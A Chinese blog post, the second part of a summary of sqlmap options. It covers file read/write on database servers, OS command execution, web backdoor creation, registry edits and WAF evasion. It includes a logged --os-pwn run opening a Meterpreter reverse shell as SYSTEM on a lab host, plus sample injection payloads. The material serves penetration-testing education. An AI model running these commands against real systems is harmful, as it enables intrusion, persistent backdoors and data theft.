记一份 SQLmap 使用手册小结（二）

前言

上一篇文章： 记一份 SQLmap 使用手册小结（一） (https://xz.aliyun.com/t/3010)

希望各位大佬轻喷 (QAQ)

本人博客： http://www.cnblogs.com/miraitowa/ (http://www.cnblogs.com/miraitowa/)

其他高级

用户自定义函数注入

参数： `-udf-inject,-shared-lib`

你可以通过编译 `MySQL` 注入你自定义的函数 `（UDFs）或PostgreSQL` 在 `windows` 中共享库， `DLL` ，或者 `Linux/Unix` 中共享对象，

`sqlmap` 将会问你一些问题，上传到服务器数据库自定义函数，然后根据你的选择执行他们，当你注入完成后， `sqlmap` 将会移除它们。

系统文件操作

从数据库服务器中读取文件

参数：

参数：`–file-read`

当数据库为`MySQL，PostgreSQL`或`Microsoft SQLServer`，并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。

把文件上传到数据库服务器中

参数：`–file-write,–file-dest`

当数据库为`MySQL，PostgreSQL或Microsoft SQLServer`，并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。

运行任意操作系统命令

参数：`–os-cmd,–os-shell`

当数据库为`MySQL，PostgreSQL或Microsoft SQL Server`，并且当前用户有权限使用特定的函数。

在`MySQL、PostgreSQL，sqlmap`上传一个二进制库，包含用户自定义的函数，`sys_exec()和sys_eval()`。

那么他创建的这两个函数可以执行系统命令。在`Microsoft SQLServer，sqlmap`将会使用`xp_cmdshell`存储过程，

如果被禁`（在Microsoft SQL Server2005`及以上版本默认禁制），`sqlmap`会重新启用它，如果不存在，会自动创建。

用`–os-shell`参数也可以模拟一个真实的`shell`，可以输入你想执行的命令。

当不能执行多语句的时候（比如 php 或者 asp 的后端数据库为`MySQL`时），仍然可能使用`INTOOUTFILE`写进可写目录，来创建一个 web 后门。支持的语言：

1、**ASP**

2、**ASP**.NET

3、**JSP**

4、**PHP**

Meterpreter 配合使用

参数：`–os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path`

当数据库为`MySQL，PostgreSQL或Microsoft SQLServer`，并且当前用户有权限使用特定的函数，可以在数据库与攻击者直接建立`TCP`连接，

这个连接可以是一个交互式命令行的`Meterpreter`会话，`sqlmap`根据`Metasploit`生成`shellcode`，并有四种方式执行它：

1．通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode，支持MySQL和PostgreSQL数据库，参数：--os-pwn。

2．通过用户自定义的函数上传一个独立的payload执行，MySQL和PostgreSQL的sys_*exec()函数，Microsoft SQL Server的xp*_cmdshell()函数，参数：--os-pwn。

3．通过SMB攻击(MS08-068)来执行Metasploit的shellcode，当sqlmap获取到的权限足够高的时候（Linux/Unix的uid=0，Windows是Administrator），--os-smbrelay。

4．通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004)，在内存中执行Metasploit的payload，参数：--os-bof

列举一个 `MySQL` 例子：

```
$ python sqlmap.py -u
"http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn
--msf-path /software/metasploit
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
\>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
\>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database
underlying
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
```

```
\>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on
all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
\>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
\>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally,
please wait..
\_
\| \| o
\_ \_ \_ \_ \_\|\_ \__, , \_ \| \| \_\_ \_\|\_
/ \|/ \|/ \| \|/ \| / \| / \\_\|/ \\_\|/ / \\_\| \|
\| \| \|_/\|__/\|_/\\_/\|_/ \\/ \|__/ \|__/\\__/ \|_/\|_/
/\|
\\\|
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
\+ -- --=[ 674 exploits - 351 auxiliary
\+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD =\> windows/meterpreter/reverse_tcp
EXITFUNC =\> thread
LPORT =\> 60641
LHOST =\> 192.168.136.1
[\*] Started reverse handler on 192.168.136.1:60641
[\*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF
```

```
'sys_bineval',
please wait..
[\*] Sending stage (749056 bytes) to 192.168.136.129
[\*] Meterpreter session 1 opened (192.168.136.1:60641 -\>
192.168.136.129:1689) at Mon Apr 11

hh:mm:52 +0100 2011
meterpreter \> Loading extension espia...success.
meterpreter \> Loading extension incognito...success.
meterpreter \> [-] The 'priv' extension has already been loaded.
meterpreter \> Loading extension sniffer...success.
meterpreter \> System Language : en_US
OS : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2
Architecture : x86
Meterpreter : x86/win32
meterpreter \> Server username: NT AUTHORITY\\SYSTEM
meterpreter \> ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address : 192.168.136.129
Netmask : 255.255.255.0
meterpreter \> exit
[\*] Meterpreter session 1 closed. Reason: User exit
```

默认情况下 MySQL 在 `Windows` 上以 `SYSTEM` 权限运行， `PostgreSQL` 在 `Windows` 与 `Linux` 中是低权限运行，

`Microsoft SQL Server 2000` 默认是以 `SYSTEM` 权限运行与 2008 大部分是以 `NETWORK SERVICE` 有时是 `LOCAL SERVICE` 。

对 Windows 注册表操作

对 Windows 注册表操作

当数据库为 `MySQL，PostgreSQL` 或 `Microsoft SQL Server` ，并且当前 web 应用支持堆查询。当然，当前连接数据库的用户也需要有权限操作注册表。

读取注册表值

参数： `–reg-read`

写入注册表值

参数： `–reg-add`

删除注册表值

参数： `–reg-del`

注册表辅助选项

参数： `–reg-key，–reg-value，–reg-data，–reg-type`

需要配合之前三个参数使用，例子：

```
\$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1
--reg-add --reg-key="HKEY_LOCAL_MACHINE\\SOFTWARE\\sqlmap" --reg-value=Test
--reg-type=REG_SZ --reg-data=1
```

常规参数

从 sqlite 中读取 session

参数： `-s`

`sqlmap` 对每一个目标都会在 `output` 路径下自动生成一个 `SQLite` 文件，如果用户想指定读取的文件路径，就可以用这个参数。

保存 HTTP(S) 日志

参数：`-t`

这个参数需要跟一个文本文件，`sqlmap` 会把 `HTTP(S)` 请求与响应的日志保存到那里。

非交互模式

参数：`-batch`

用此参数，不需要用户输入，将会使用 sqlmap 提示的默认值一直运行下去。

强制使用字符编码

参数：`-charset`

不使用 sqlmap 自动识别的（如 HTTP 头中的 Content-Type）字符编码，强制指定字符编码如：

```
-charset=GBK
```

爬行网站 URL

参数：`-crawl`

`sqlmap` 可以收集潜在的可能存在漏洞的连接，后面跟的参数是爬行的深度。

例子：

例子：

```
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]
```

规定输出到 CSV 中的分隔符

参数：`–csv-del`

当 dump 保存为 CSV 格式时（`–dump-format=CSV`），需要一个分隔符默认是逗号，用户也可以改为别的
如：

```
–csv-del=”;”
```

DBMS 身份验证

参数：`–dbms-cred`

某些时候当前用户的权限不够，做某些操作会失败，如果知道高权限用户的密码，可以使用此参数，有的数据库有专门的运行机制，

可以切换用户如 `MicrosoftSQL Server的OPENROWSET` 函数

定义 dump 数据的格式

参数：`–dump-format`

输出的格式可定义为：`CSV，HTML，SQLITE`

预估完成时间

参数：`–eta`

可以计算注入数据的剩余时间。

例如 `Oracle` 的布尔型盲注：

```
$ python sqlmap.py -u
"http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========\> ] 11/64 ETA 00:19
```

然后：

100% [==========]
64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release
10.2.0.1.0 - Prod
web application technology: PHP 5.2.6, Apache 2.2.9

back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
sqlmap 先输出长度，预计完成时间，显示百分比，输出字符

刷新 session 文件

参数：`–flush-session`

如果不想用之前缓存这个目标的 session 文件，可以使用这个参数。
会清空之前的 session，重新测试该目标。

自动获取 form 表单测试

参数：`–forms`

如果你想对一个页面的 form 表单中的参数测试，可以使用 - r 参数读取请求文件，或者通过–data 参数测试。
但是当使用–forms 参数时，sqlmap 会自动从 - u 中的 url 获取页面中的表单进行测试。

忽略在会话文件中存储的查询结果

参数：`–fresh-queries`

忽略 session 文件保存的查询，重新查询。

使用 DBMS 的 hex 函数

参数：`–hex`

有时候字符编码的问题，可能导致数据丢失，可以使用 hex 函数来避免：

针对 `PostgreSQL` 例子：

```
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1"
--banner --hex -v 3 --parse-errors
[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND
5849=CAST((CHR(58)\|\|CHR(118)\|\|CHR(116)\|\|CHR(106)\|\|CHR(58))\|\|(ENCODE(CONVERT_TO((COALESCE(C
AST(VERSION()
AS
CHARACTER(10000)),(CHR(32)))),(CHR(85)\|\|CHR(84)\|\|CHR(70)\|\|CHR(56))),(CHR(72)\|\|CHR(69)\|\|CHR
(88))))::text\|\|(CHR(58)\|\|CHR(110)\|\|CHR(120)\|\|CHR(98)\|\|CHR(58))
AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [\<a
href='function.pg-query'\>function.pg-query\</a\>]: Query failed: ERROR: invalid
input syntax for type numeric:
":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c6564
20627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:"
in \<b\>/var/www/sqlmap/libs/pgsql.inc.php\</b\> on line \<b\>35\</b\>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]
```

自定义输出的路径

参数：`-output-dir`

sqlmap 默认把 session 文件跟结果文件保存在 output 文件夹下，用此参数可自定义输出路径

例如：`-output-dir=/tmp`

从响应中获取 DBMS 的错误信息

参数：`-parse-errors`

有时目标没有关闭 DBMS 的报错，当数据库语句错误时，会输出错误语句，用词参数可以会显出错误信息。

```
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"
--parse-errors
[...]
[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending
the range for current UNION query injection technique test
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC
Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10
is out of range of the number of items in the select list.
\<b\>/sqlmap/mssql/iis/get_int.asp, line 27\</b\>'
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC
Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is
out of range of the number of items in the select list.
\<b\>/sqlmap/mssql/iis/get_int.asp, line 27\</b\>'
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC
Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is
out of range of the number of items in the select list.
\<b\>/sqlmap/mssql/iis/get_int.asp, line 27\</b\>'
[11:12:17] [INFO] target URL appears to have 3 columns in query
[...]
```

其他的一些参数

使用参数缩写

参数：`-z`

有使用参数太长太复杂，可以使用缩写模式。 例如：

```
python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u
"www.target.com/vuln.php?id=1"
```

可以写成：

```
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"
```

还有：

```
python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb
-T users -u "www.target.com/vuln.php?id=1"
```

可以写成：

```
python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u
"www.target.com/vuln.php?id=1"
```

成功 SQL 注入时警告

参数：`–alert`

设定会发的答案

参数：`–answers`

当希望 `sqlmap` 提出输入时，自动输入自己想要的答案可以使用此参数： 例子：

```
$ python sqlmap.py -u
"http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E
--answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1)? [Y/n] N
[...]
```

发现 SQL 注入时发出蜂鸣声

参数：`–beep`

发现 sql 注入时，发出蜂鸣声。

启发式检测 WAF/IPS/IDS 保护

参数：`–check-waf`

`WAF/IPS/IDS` 保护可能会对 `sqlmap` 造成很大的困扰，如果怀疑目标有此防护的话，可以使用此参数来测试。`sqlmap` 将会使用一个不存在的参数来注入测试

例如：

```
&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables
WHERE 2>1
```

如果有保护的话可能返回结果会不同。

清理 sqlmap 的 UDF(s) 和表

参数：`--cleanup`

清除 sqlmap 注入时产生的 udf 与表。

禁用彩色输出

参数：`--disable-coloring`

sqlmap 默认彩色输出，可以使用此参数，禁掉彩色输出。

使用指定的 Google 结果页面

参数：`--gpage`

默认 sqlmap 使用前 100 个 URL 地址作为注入测试，结合此选项，可以指定页面的 URL 测试。

使用 HTTP 参数污染

参数：`-hpp`

HTTP 参数污染可能会绕过 `WAF/IPS/IDS` 保护机制，这个对 `ASP/IIS与ASP.NET/IIS` 平台很有效。

测试 WAF/IPS/IDS 保护

参数：`--identify-waf`

sqlmap 可以尝试找出 WAF/IPS/IDS 保护，方便用户做出绕过方式。目前大约支持 30 种产品的识别。

例如对一个受到 ModSecurity WAF 保护的 MySQL 例子：

```
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1"
--identify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server
(United Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application
Firewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web
Application Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application
Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway
(Cisco Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5
Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application
Firewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions
(Akamai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application
Firewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application
Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application
Firewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application
```

```
Security (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application
Firewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application
Firewall (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source
Web Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web
Application Firewall (Trustwave)'. Please consider usage of tamper scripts
(option '--tamper')
[...]
```

模仿智能手机

参数：`–mobile`

有时服务端只接收移动端的访问，此时可以设定一个手机的 `User-Agent` 来模仿手机登陆。

例如：

```
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
```

```
[7] Samsung Galaxy S
\> 1
[...]
```

安全的删除 output 目录的文件

参数：`--purge-output`

有时需要删除结果文件，而不被恢复，可以使用此参数，原有文件将会被随机的一些文件覆盖。

例如：

```
$ python sqlmap.py --purge-output -v 3
[...]
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]
```

启发式判断注入

参数：`--smart`

有时对目标非常多的 URL 进行测试，为节省时间，只对能够快速判断为注入的报错点进行注入，可以使用此参数。

例子：

```
$ python sqlmap.py -u
"http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch
--smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might
not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user'
might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and
risk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[xx:xx:14] [INFO] testing 'MySQL \>= 5.0 AND error-based - WHERE or HAVING
clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL \>= 5.0 AND error-based - WHERE
or HAVING clause' injectable
[xx:xx:14] [INFO] testing 'MySQL inline queries'
```

```
[xx:xx:14] [INFO] testing 'MySQL \> 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL \< 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL \> 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL \> 5.0.11 AND time-based blind'
injectable

[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection
technique tests as there is at least one other potential injection technique
found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending
the range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20
columns' injectable
[...]
```

初级用户向导参数

参数： `-wizard` 面向初级用户的参数，可以一步一步教你如何输入针对目标注入。

参考资料：

安全牛课堂 `-kali-linux-web` 篇

sqlmap 用户手册中文版： https://octobug.gitbooks.io/sqlmap-wiki-zhcn/content/Users-manual/Introduction.html (https://octobug.gitbooks.io/sqlmap-wiki-zhcn/content/Users-manual/Introduction.html)

sqlmap 用户手册： http://drops.xmd5.com/static/drops/tips-143.html (http://drops.xmd5.com/static/drops/tips-143.html)